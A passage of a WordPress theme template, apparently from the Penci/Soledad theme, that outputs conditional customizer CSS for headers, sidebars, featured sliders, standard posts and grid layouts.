            .penci-header-signup-form .mc4wp-form input[type="text"]::-webkit-input-placeholder, .penci-header-signup-form .mc4wp-form input[type="email"]::-webkit-input-placeholder{  color: <?php echo get_theme_mod( 'penci_header_signup_input_color' ); ?>;  }
            .penci-header-signup-form .mc4wp-form input[type="text"]:-moz-placeholder, .penci-header-signup-form .mc4wp-form input[type="email"]:-moz-placeholder {  color: <?php echo get_theme_mod( 'penci_header_signup_input_color' ); ?>;  }
            .penci-header-signup-form .mc4wp-form input[type="text"]::-moz-placeholder, .penci-header-signup-form .mc4wp-form input[type="email"]::-moz-placeholder {  color: <?php echo get_theme_mod( 'penci_header_signup_input_color' ); ?>;  }
            .penci-header-signup-form .mc4wp-form input[type="text"]:-ms-input-placeholder, .penci-header-signup-form .mc4wp-form input[type="email"]:-ms-input-placeholder {  color: <?php echo get_theme_mod( 'penci_header_signup_input_color' ); ?>;  }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_signup_submit_bg' ) ): ?>
            .penci-header-signup-form .widget input[type="submit"] { background-color: <?php echo get_theme_mod( 'penci_header_signup_submit_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_signup_submit_color' ) ): ?>
            .penci-header-signup-form .widget input[type="submit"] { color: <?php echo get_theme_mod( 'penci_header_signup_submit_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_signup_submit_bg_hover' ) ): ?>
            .penci-header-signup-form .widget input[type="submit"]:hover { background-color: <?php echo get_theme_mod( 'penci_header_signup_submit_bg_hover' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_signup_submit_color_hover' ) ): ?>
            .penci-header-signup-form .widget input[type="submit"]:hover { color: <?php echo get_theme_mod( 'penci_header_signup_submit_color_hover' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_social_color' ) ): ?>
            .header-social a i, .main-nav-social a {   color: <?php echo get_theme_mod( 'penci_header_social_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_social_color_hover' ) ): ?>
            .header-social a:hover i, .main-nav-social a:hover, .penci-menuhbg-toggle:hover .lines-button:after, .penci-menuhbg-toggle:hover .penci-lines:before, .penci-menuhbg-toggle:hover .penci-lines:after {   color: <?php echo get_theme_mod( 'penci_header_social_color_hover' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_ver_nav_overlay_color' ) ): ?>
            #close-sidebar-nav { background-color: <?php echo get_theme_mod( 'penci_ver_nav_overlay_color' ); ?>; }
            .open-sidebar-nav #close-sidebar-nav { opacity: 0.85; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_ver_nav_close_bg' ) ): ?>
            #close-sidebar-nav i { background-color: <?php echo get_theme_mod( 'penci_ver_nav_close_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_ver_nav_close_color' ) ): ?>
            #close-sidebar-nav i { color: <?php echo get_theme_mod( 'penci_ver_nav_close_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_ver_nav_bg' ) ): ?>
            #sidebar-nav { background: <?php echo get_theme_mod( 'penci_ver_nav_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_ver_nav_searchborder' ) ): ?>
            #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input, #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input:hover, #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input:focus { border-color: <?php echo get_theme_mod( 'penci_ver_nav_searchborder' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_ver_nav_textcolor' ) ): ?>
            #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input { color: <?php echo get_theme_mod( 'penci_ver_nav_textcolor' ); ?>; }
            #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input::-webkit-input-placeholder { color: <?php echo get_theme_mod( 'penci_ver_nav_textcolor' ); ?>; }
            #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input:-ms-input-placeholder { color: <?php echo get_theme_mod( 'penci_ver_nav_textcolor' ); ?>; }
            #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input::placeholder { color: <?php echo get_theme_mod( 'penci_ver_nav_textcolor' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_ver_nav_iconcolor' ) ): ?>
            #sidebar-nav form.pc-searchform.penci-hbg-search-form i { color: <?php echo get_theme_mod( 'penci_ver_nav_iconcolor' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_ver_nav_accent_color' ) ): ?>
            .header-social.sidebar-nav-social a i, #sidebar-nav .menu li a, #sidebar-nav .menu li a .indicator { color: <?php echo get_theme_mod( 'penci_ver_nav_accent_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_ver_nav_accent_hover_color' ) ): ?>
            #sidebar-nav .menu li a:hover, .header-social.sidebar-nav-social a:hover i, #sidebar-nav .menu li a .indicator:hover, #sidebar-nav .menu .sub-menu li a .indicator:hover{ color: <?php echo get_theme_mod( 'penci_ver_nav_accent_hover_color' ); ?>; }
            #sidebar-nav-logo:before{ background-color: <?php echo get_theme_mod( 'penci_ver_nav_accent_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_ver_nav_items_border' ) ): ?>
            #sidebar-nav .menu li, #sidebar-nav ul.sub-menu, #sidebar-nav #logo + ul {   border-color: <?php echo get_theme_mod( 'penci_ver_nav_items_border' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_video_height' ) ): ?>
            #penci-featured-video-bg { height: <?php echo get_theme_mod( 'penci_featured_video_height' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_video_heading_color' ) ): ?>
            h2.penci-heading-video { color: <?php echo get_theme_mod( 'penci_featured_video_heading_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_video_sub_heading_color' ) ): ?>
            p.penci-sub-heading-video { color: <?php echo get_theme_mod( 'penci_featured_video_sub_heading_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_slider_overlay_bg' ) ): ?>
            .penci-slide-overlay .overlay-link {
            background: -moz-linear-gradient(top, rgba(255,255,255,0) 60%, <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?> 100%);
            background: -webkit-linear-gradient(top, rgba(255,255,255,0) 60%, <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?> 100%);
            background: -o-linear-gradient(top, rgba(255,255,255,0) 60%, <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?> 100%);
            background: -ms-linear-gradient(top, rgba(255,255,255,0) 60%, <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?> 100%);
            background: linear-gradient(to bottom, rgba(255,255,255,0) 60%, <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?> 100%);
            }
            .penci-slider4-overlay{
            background: -moz-linear-gradient(left, rgba(255,255,255,0) 26%, <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?> 65%);
            background: -webkit-gradient(linear, left top, right top, color-stop(26%, <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?>), color-stop(65%,transparent));
            background: -webkit-linear-gradient(left, rgba(255,255,255,0) 26%, <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?> 65%);
            background: -o-linear-gradient(left, rgba(255,255,255,0) 26%, <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?> 65%);
            background: -ms-linear-gradient(left, rgba(255,255,255,0) 26%, <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?> 65%);
            background: linear-gradient(to right, rgba(255,255,255,0) 26%, <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?> 65%);
            filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='<?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?>', endColorstr='<?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?>',GradientType=1 );
            }
            .slider-40-wrapper .list-slider-creative .item-slider-creative .img-container:before {
            background-color: <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?>;
            }
            @media only screen and (max-width: 960px){
            .featured-style-4 .penci-featured-content .featured-slider-overlay, .featured-style-5 .penci-featured-content .featured-slider-overlay, .slider-40-wrapper .list-slider-creative .item-slider-creative .img-container:before { background-color: <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?>; }
            }
            .penci-slider38-overlay, .penci-flat-overlay .penci-slide-overlay .penci-mag-featured-content:before{ background-color: <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?>; }
		<?php endif; ?>
        .penci-slide-overlay .overlay-link, .penci-slider38-overlay, .penci-flat-overlay .penci-slide-overlay .penci-mag-featured-content:before, .slider-40-wrapper .list-slider-creative .item-slider-creative .img-container:before { opacity: <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg_opacity' ); ?>; }
        .penci-item-mag:hover .penci-slide-overlay .overlay-link, .featured-style-38 .item:hover .penci-slider38-overlay, .penci-flat-overlay .penci-item-mag:hover .penci-slide-overlay .penci-mag-featured-content:before { opacity: <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg_hover_opacity' ); ?>; }
        .penci-featured-content .featured-slider-overlay { opacity: <?php echo get_theme_mod( 'penci_featured_slider_box_opacity' ); ?>; }
        .slider-40-wrapper .list-slider-creative .item-slider-creative:hover .img-container:before {
        opacity:<?php echo get_theme_mod( 'penci_featured_slider_overlay_bg_hover_opacity' ); ?>;
        }
		<?php if ( get_theme_mod( 'penci_featured_slider_box_opacity' ) ): ?>
            @-webkit-keyframes pencifadeInUpDiv{Header Background Color
            0%{ opacity:0; -webkit-transform:translate3d(0,450px,0);transform:translate3d(0,450px,0);}
            100%{opacity:<?php echo get_theme_mod( 'penci_featured_slider_box_opacity' ); ?>;-webkit-transform:none;transform:none}
            }
            @keyframes pencifadeInUpDiv{
            0%{opacity:0;-webkit-transform:translate3d(0,450px,0);transform:translate3d(0,450px,0);}
            100%{opacity:<?php echo get_theme_mod( 'penci_featured_slider_box_opacity' ); ?>;-webkit-transform:none;transform:none}
            }
            @media only screen and (max-width: 960px){
            .penci-featured-content-right .feat-text-right:before{ opacity: <?php echo get_theme_mod( 'penci_featured_slider_box_opacity' ); ?>; }
            }
            .slider-40-wrapper .list-slider-creative .item-slider-creative .img-container:before {
            opacity:<?php echo get_theme_mod( 'penci_featured_slider_box_opacity' ); ?>;
            }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_slider_box_bg_color' ) ): ?>
            .penci-featured-content .featured-slider-overlay, .penci-featured-content-right:before, .penci-featured-content-right .feat-text-right:before { background: <?php echo get_theme_mod( 'penci_featured_slider_box_bg_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_slider_cat_color' ) ): ?>
            .penci-43-slider-item div .featured-cat a, .penci-featured-content .feat-text .featured-cat a, .penci-mag-featured-content .cat > a.penci-cat-name, .featured-style-35 .cat > a.penci-cat-name { color: <?php echo get_theme_mod( 'penci_featured_slider_cat_color' ); ?>; }
            .penci-mag-featured-content .cat > a.penci-cat-name:after, .penci-featured-content .cat > a.penci-cat-name:after, .featured-style-35 .cat > a.penci-cat-name:after{ border-color: <?php echo get_theme_mod( 'penci_featured_slider_cat_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_slider_cat_hover_color' ) ): ?>
            .penci-43-slider-item div .featured-cat a:hover, .penci-featured-content .feat-text .featured-cat a:hover, .penci-mag-featured-content .cat > a.penci-cat-name:hover, .featured-style-35 .cat > a.penci-cat-name:hover { color: <?php echo get_theme_mod( 'penci_featured_slider_cat_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_slider_title_color' ) ): ?>
            .penci-mag-featured-content h3 a, .penci-featured-content .feat-text h3 a, .featured-style-35 .feat-text-right h3 a, .penci-43-slider-item .title-part a { color: <?php echo get_theme_mod( 'penci_featured_slider_title_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_slider_title_hover_color' ) ): ?>
            .penci-mag-featured-content h3 a:hover, .penci-featured-content .feat-text h3 a:hover, .featured-style-35 .feat-text-right h3 a:hover, .penci-43-slider-item .title-part a:hover { color: <?php echo get_theme_mod( 'penci_featured_slider_title_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_slider_meta_color' ) ): ?>
            .penci-fslider-fmeta span, .penci-fslider-fmeta span a, .penci-mag-featured-content .feat-meta span, .penci-mag-featured-content .feat-meta a, .penci-featured-content .feat-text .feat-meta span, .penci-featured-content .feat-text .feat-meta span a, .featured-style-35 .featured-content-excerpt .feat-meta span, .featured-style-35 .featured-content-excerpt .feat-meta span a { color: <?php echo get_theme_mod( 'penci_featured_slider_meta_color' ); ?>; }
            .penci-fslider-fmeta a:after, .penci-mag-featured-content .feat-meta > span:after, .penci-featured-content .feat-text .feat-meta > span:after { border-color: <?php echo get_theme_mod( 'penci_featured_slider_meta_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_slider_excerpt_color' ) ): ?>
            .penci-43-slider-item .featured-slider-excerpt p, .featured-style-35 .featured-content-excerpt p, .featured-slider-excerpt p{ color: <?php echo get_theme_mod( 'penci_featured_slider_excerpt_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_slider_icon_color' ) ): ?>
            .featured-area .overlay-icon-format { color: <?php echo get_theme_mod( 'penci_featured_slider_icon_color' ); ?>; border-color: <?php echo get_theme_mod( 'penci_featured_slider_icon_color' ); ?>; }
		<?php endif; ?>
        .featured-style-29 .featured-slider-overlay { opacity: <?php echo get_theme_mod( 'penci_featured_slider_overlay_opacity29' ); ?>; }
		<?php if ( get_theme_mod( 'penci_featured_slider_color_29' ) ): ?>
            .featured-style-29 .featured-slider-overlay { background-color: <?php echo get_theme_mod( 'penci_featured_slider_color_29' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_slider_lines_color' ) ): ?>
            .featured-style-29 .penci-featured-content .feat-text h3:before { border-color: <?php echo get_theme_mod( 'penci_featured_slider_lines_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_slider_button_color' ) ): ?>
            .featured-style-40 .penci-featured-slider-button a, .featured-style-29 .penci-featured-slider-button a, .featured-style-35 .penci-featured-slider-button a, .featured-style-38 .penci-featured-slider-button a { border-color: <?php echo get_theme_mod( 'penci_featured_slider_button_color' ); ?>; color: <?php echo get_theme_mod( 'penci_featured_slider_button_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_slider_button_hover_bg' ) ): ?>
            .featured-style-40 .penci-featured-slider-button a:hover, .featured-style-29 .penci-featured-slider-button a:hover, .featured-style-35 .penci-featured-slider-button a:hover, .featured-style-38 .penci-featured-slider-button a:hover { border-color: <?php echo get_theme_mod( 'penci_featured_slider_button_hover_bg' ); ?>; background-color: <?php echo get_theme_mod( 'penci_featured_slider_button_hover_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_slider_button_hover_color' ) ): ?>
            .featured-style-40 .penci-featured-slider-button a:hover, .featured-style-29 .penci-featured-slider-button a:hover, .featured-style-35 .penci-featured-slider-button a:hover, .featured-style-38 .penci-featured-slider-button a:hover { color: <?php echo get_theme_mod( 'penci_featured_slider_button_hover_color' ); ?>; }
		<?php endif; ?>
		<?php
		$auto_speed = get_theme_mod( 'penci_featured_slider_auto_speed' );
		if ( is_numeric( $auto_speed ) ):
			$auto_speed_css = $auto_speed / 1000;
			?>
            .penci-owl-carousel{--pcfs-delay:<?php echo sanitize_text_field( $auto_speed_css - 0.1 ); ?>s;}
		<?php endif; ?>
		<?php
		$penci_slider_height  = get_theme_mod( 'penci_featured_penci_slider_height' );
		if ( ! empty( $penci_slider_height ) && is_numeric( $penci_slider_height ) ): ?>
            .featured-area .penci-slider { max-height: <?php echo absint( $penci_slider_height ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_standard_meta_overlay' ) ): ?>
            .penci-wrapper-data .standard-post-image:not(.classic-post-image){ margin-bottom: 0; }
            .header-standard.standard-overlay-meta{ margin: -30px 30px 19px; background: #fff; padding-top: 25px; padding-left: 5px; padding-right: 5px; z-index: 10; position: relative; }
            .penci-wrapper-data .standard-post-image:not(.classic-post-image) .audio-iframe, .penci-wrapper-data .standard-post-image:not(.classic-post-image) .standard-content-special{ bottom: 50px; }
            @media only screen and (max-width: 479px){
            .header-standard.standard-overlay-meta{ margin-left: 10px; margin-right: 10px; }
            }
			<?php if ( get_theme_mod( 'penci_bg_color_dark' ) ): ?>
                .header-standard.standard-overlay-meta{ background-color: var(--pcbg-cl); }
			<?php endif; ?>
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_stahea_align' ) ):
			$staheader_align = get_theme_mod( 'penci_stahea_align' );
			?>
            .header-standard:not(.single-header), .standard-post-image{ text-align: <?php echo $staheader_align; ?> }
			<?php if ( 'left' == $staheader_align ) { ?>
            .header-standard:after{ left: 0; margin-left: 0; }
            .header-standard.standard-overlay-meta{ padding-left: 20px; padding-right: 10px; }
            .header-standard.standard-overlay-meta:after{ left: 20px; }
		<?php } else if ( 'right' == $staheader_align ) { ?>
            .header-standard:after{ left: auto; right: 0; margin-left: 0; }
            .header-standard.standard-overlay-meta{ padding-right: 20px; padding-left: 10px; }
            .header-standard.standard-overlay-meta:after{ right: 20px; }
		<?php } ?>
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_staex_align' ) ): ?>
            .post-entry.standard-post-entry{ text-align: <?php echo get_theme_mod( 'penci_staex_align' ); ?> }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_stacoti_align' ) ):
			$staconti_align = get_theme_mod( 'penci_stacoti_align' );
			?>
            .penci-more-link{ text-align: <?php echo get_theme_mod( 'penci_stacoti_align' ); ?> }
			<?php if ( 'left' == $staconti_align ) { ?>
            .penci-more-link a.more-link:before{ content: none; }
		<?php } else if ( 'right' == $staconti_align ) { ?>
            .penci-more-link a.more-link:after{ content: none; }
		<?php } ?>
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_standard_effect_button' ) ): ?>
            .penci-more-link a.more-link:hover:before { right: 100%; margin-right: 10px; width: 60px; }
            .penci-more-link a.more-link:hover:after{ left: 100%; margin-left: 10px; width: 60px; }
            .standard-post-entry a.more-link:hover, .standard-post-entry a.more-link:hover:before, .standard-post-entry a.more-link:hover:after { opacity: 0.8; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_standard_off_uppercase_title' ) ): ?>
            .header-standard h2, .header-standard .post-title, .header-standard h2 a, .pc_titlebig_standard { text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_standard_on_uppercase_cat' ) ): ?>
            .header-standard .cat a.penci-cat-name { text-transform: uppercase; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_standard_categories_action_color' ) ): ?>
            .penci-standard-cat .cat > a.penci-cat-name { color: <?php echo get_theme_mod( 'penci_standard_categories_action_color' ); ?>; }
            .penci-standard-cat .cat:before, .penci-standard-cat .cat:after { background-color: <?php echo get_theme_mod( 'penci_standard_categories_action_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_standard_title_post_color' ) ): ?>
			.pc_titlebig_standard a,
            .header-standard > h2 a { color: <?php echo get_theme_mod( 'penci_standard_title_post_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_standard_title_post_color' ) ): ?>
            .header-standard > h2 a { color: <?php echo get_theme_mod( 'penci_standard_title_post_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_standard_title_post_hover_color' ) ): ?>
			.pc_titlebig_standard a,
            .header-standard > h2 a:hover { color: <?php echo get_theme_mod( 'penci_standard_title_post_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_standard_share_icon_color' ) ): ?>
            .standard-content .penci-post-box-meta .penci-post-share-box a { color: <?php echo get_theme_mod( 'penci_standard_share_icon_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_standard_share_icon_hover_color' ) ): ?>
            .standard-content .penci-post-box-meta .penci-post-share-box a:hover, .standard-content .penci-post-box-meta .penci-post-share-box a.liked { color: <?php echo get_theme_mod( 'penci_standard_share_icon_hover_color' ); ?>; }
		<?php endif; ?>

		<?php if ( get_theme_mod( 'penci_standard_meta_post_color' ) ): ?>
            .header-standard .author-post span, .standard-content .penci-post-box-meta .penci-box-meta span, .standard-content .penci-post-box-meta .penci-box-meta a { color: <?php echo get_theme_mod( 'penci_standard_meta_post_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_standard_author_post_color' ) ): ?>
            .header-standard .author-post span a{ color: <?php echo get_theme_mod( 'penci_standard_author_post_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_standard_accent_color' ) ): ?>
            .header-standard .post-entry a:hover, .header-standard .author-post span a:hover, .standard-content a, .standard-content .post-entry a, .standard-post-entry a.more-link:hover, .penci-post-box-meta .penci-box-meta a:hover, .standard-content .post-entry blockquote:before, .post-entry blockquote cite, .post-entry blockquote .author, .standard-content-special .author-quote span, .standard-content-special .format-post-box .post-format-icon i, .standard-content-special .format-post-box .dt-special a:hover, .standard-content .penci-more-link a.more-link, .standard-content .penci-post-box-meta .penci-box-meta a:hover { color: <?php echo get_theme_mod( 'penci_standard_accent_color' ); ?>; }
            .standard-content .penci-more-link.penci-more-link-button a.more-link{ background-color: <?php echo get_theme_mod( 'penci_standard_accent_color' ); ?>; color: #fff; }
            .standard-content-special .author-quote span:before, .standard-content-special .author-quote span:after, .standard-content .post-entry ul li:before, .post-entry blockquote .author span:after, .header-standard:after { background-color: <?php echo get_theme_mod( 'penci_standard_accent_color' ); ?>; }
            .penci-more-link a.more-link:before, .penci-more-link a.more-link:after { border-color: <?php echo get_theme_mod( 'penci_standard_accent_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_standard_readmore_color' ) ): ?>
            .standard-content .penci-more-link a.more-link, .standard-content .penci-more-link.penci-more-link-button a.more-link{ color: <?php echo get_theme_mod( 'penci_standard_readmore_color' ); ?>; }
            .standard-content .penci-more-link a.more-link:before, .standard-content .penci-more-link a.more-link:after{ border-color: <?php echo get_theme_mod( 'penci_standard_readmore_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_standard_readmore_bg' ) ): ?>
            .standard-content .penci-more-link.penci-more-link-button a.more-link{ background-color: <?php echo get_theme_mod( 'penci_standard_readmore_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_grid_off_title_uppercase' ) ): ?>
			.penci_grid_title a, .penci-grid li .item h2 a, .penci-masonry .item-masonry h2 a, .grid-mixed .mixed-detail h2 a, .overlay-header-box .overlay-title a { text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_grid_off_letter_spacing' ) ): ?>
            .penci-grid li .item h2 a, .penci-masonry .item-masonry h2 a { }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_grid_uppercase_cat' ) ): ?>
            .penci-grid .cat a.penci-cat-name, .penci-masonry .cat a.penci-cat-name, .penci-featured-infor .cat a.penci-cat-name, .grid-mixed .cat a.penci-cat-name, .overlay-header-box .cat a.penci-cat-name { text-transform: uppercase; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_masonry_categories_accent_color' ) ): ?>
            .penci-featured-infor .cat a.penci-cat-name, .penci-grid .cat a.penci-cat-name, .penci-masonry .cat a.penci-cat-name, .penci-featured-infor .cat a.penci-cat-name { color: <?php echo get_theme_mod( 'penci_masonry_categories_accent_color' ); ?>; }
            .penci-featured-infor .cat a.penci-cat-name:after, .penci-grid .cat a.penci-cat-name:after, .penci-masonry .cat a.penci-cat-name:after, .penci-featured-infor .cat a.penci-cat-name:after{ border-color: <?php echo get_theme_mod( 'penci_masonry_categories_accent_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_masonry_box_icon' ) ): ?>
            .penci-post-box-meta .penci-post-share-box a { color: <?php echo get_theme_mod( 'penci_masonry_box_icon' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_masonry_box_icon_hover' ) ): ?>
            .penci-post-share-box a.liked, .penci-post-share-box a:hover { color: <?php echo get_theme_mod( 'penci_masonry_box_icon_hover' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_masonry_box_ficon' ) ): ?>
            .grid-featured .penci-featured-share-box a { color: <?php echo get_theme_mod( 'penci_masonry_box_ficon' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_masonry_box_ficon_hover' ) ): ?>
            .grid-featured .penci-featured-share-box a:hover { color: <?php echo get_theme_mod( 'penci_masonry_box_ficon_hover' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_masonry_box_icon_bg' ) ): ?>
            .penci-featured-share-box .penci-shareic, .penci-featured-share-box .penci-shareso { background-color: <?php echo get_theme_mod( 'penci_masonry_box_icon_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_masonry_title_post_color' ) ): ?>
            .penci-featured-infor .penci-entry-title a, .penci-grid li .item h2 a, .penci-masonry .item-masonry h2 a, .grid-mixed .mixed-detail h2 a { color: <?php echo get_theme_mod( 'penci_masonry_title_post_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_masonry_title_post_hover_color' ) ): ?>
            .penci-featured-infor .penci-entry-title a:hover, .penci-grid li .item h2 a:hover, .penci-masonry .item-masonry h2 a:hover, .grid-mixed .mixed-detail h2 a:hover { color: <?php echo get_theme_mod( 'penci_masonry_title_post_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_masonry_meta_color' ) ): ?>
            .grid-post-box-meta span, .overlay-post-box-meta, .overlay-post-box-meta .overlay-share span, .overlay-post-box-meta .overlay-share a{ color: <?php echo get_theme_mod( 'penci_masonry_meta_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_masonry_author_color' ) ): ?>
            .grid-post-box-meta span a, .grid-mixed .penci-post-box-meta .penci-box-meta a{ color: <?php echo get_theme_mod( 'penci_masonry_author_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_masonry_accent_color' ) ): ?>
            .overlay-post-box-meta .overlay-share a:hover, .overlay-author a:hover, .penci-grid .standard-content-special .format-post-box .dt-special a:hover, .grid-post-box-meta span a:hover, .grid-post-box-meta span a.comment-link:hover, .penci-grid .standard-content-special .author-quote span, .penci-grid .standard-content-special .format-post-box .post-format-icon i, .grid-mixed .penci-post-box-meta .penci-box-meta a:hover { color: <?php echo get_theme_mod( 'penci_masonry_accent_color' ); ?>; }
            .penci-grid .standard-content-special .author-quote span:before, .penci-grid .standard-content-special .author-quote span:after, .grid-header-box:after, .list-post .header-list-style:after { background-color: <?php echo get_theme_mod( 'penci_masonry_accent_color' ); ?>; }
            .penci-grid .post-box-meta span:after, .penci-masonry .post-box-meta span:after { border-color: <?php echo get_theme_mod( 'penci_masonry_accent_color' ); ?>; }
            .penci-readmore-btn.penci-btn-make-button a{ background-color: <?php echo get_theme_mod( 'penci_masonry_accent_color' ); ?>; color: #fff; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_masonry_readmore_color' ) ): ?>
            .penci-readmore-btn a, .penci-readmore-btn.penci-btn-make-button a{ color: <?php echo get_theme_mod( 'penci_masonry_readmore_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_masonry_readmore_bg' ) ): ?>
            .penci-readmore-btn.penci-btn-make-button a{ background-color: <?php echo get_theme_mod( 'penci_masonry_readmore_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_photography_overlay_color' ) ): ?>
            .penci-grid li.typography-style .overlay-typography { background-color: <?php echo get_theme_mod( 'penci_photography_overlay_color' ); ?>; }
		<?php endif; ?>
        .penci-grid li.typography-style .overlay-typography { opacity: <?php echo get_theme_mod( 'penci_photography_overlay_opacity' ); ?>; }
        .penci-grid li.typography-style:hover .overlay-typography { opacity: <?php echo get_theme_mod( 'penci_photography_overlay_hover_opacity' ); ?>; }
		<?php if ( get_theme_mod( 'penci_photography_categories_color' ) ): ?>
            .penci-grid .typography-style .main-typography a.penci-cat-name, .penci-grid .typography-style .main-typography a.penci-cat-name:hover { color: <?php echo get_theme_mod( 'penci_photography_categories_color' ); ?>; }
            .typography-style .main-typography a.penci-cat-name:after { border-color: <?php echo get_theme_mod( 'penci_photography_categories_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_photography_title_post_color' ) ): ?>
            .penci-grid li.typography-style .item .main-typography h2 a { color: <?php echo get_theme_mod( 'penci_photography_title_post_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_photography_title_post_hover_color' ) ): ?>
            .penci-grid li.typography-style .item .main-typography h2 a:hover { color: <?php echo get_theme_mod( 'penci_photography_title_post_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_photography_meta_color' ) ): ?>
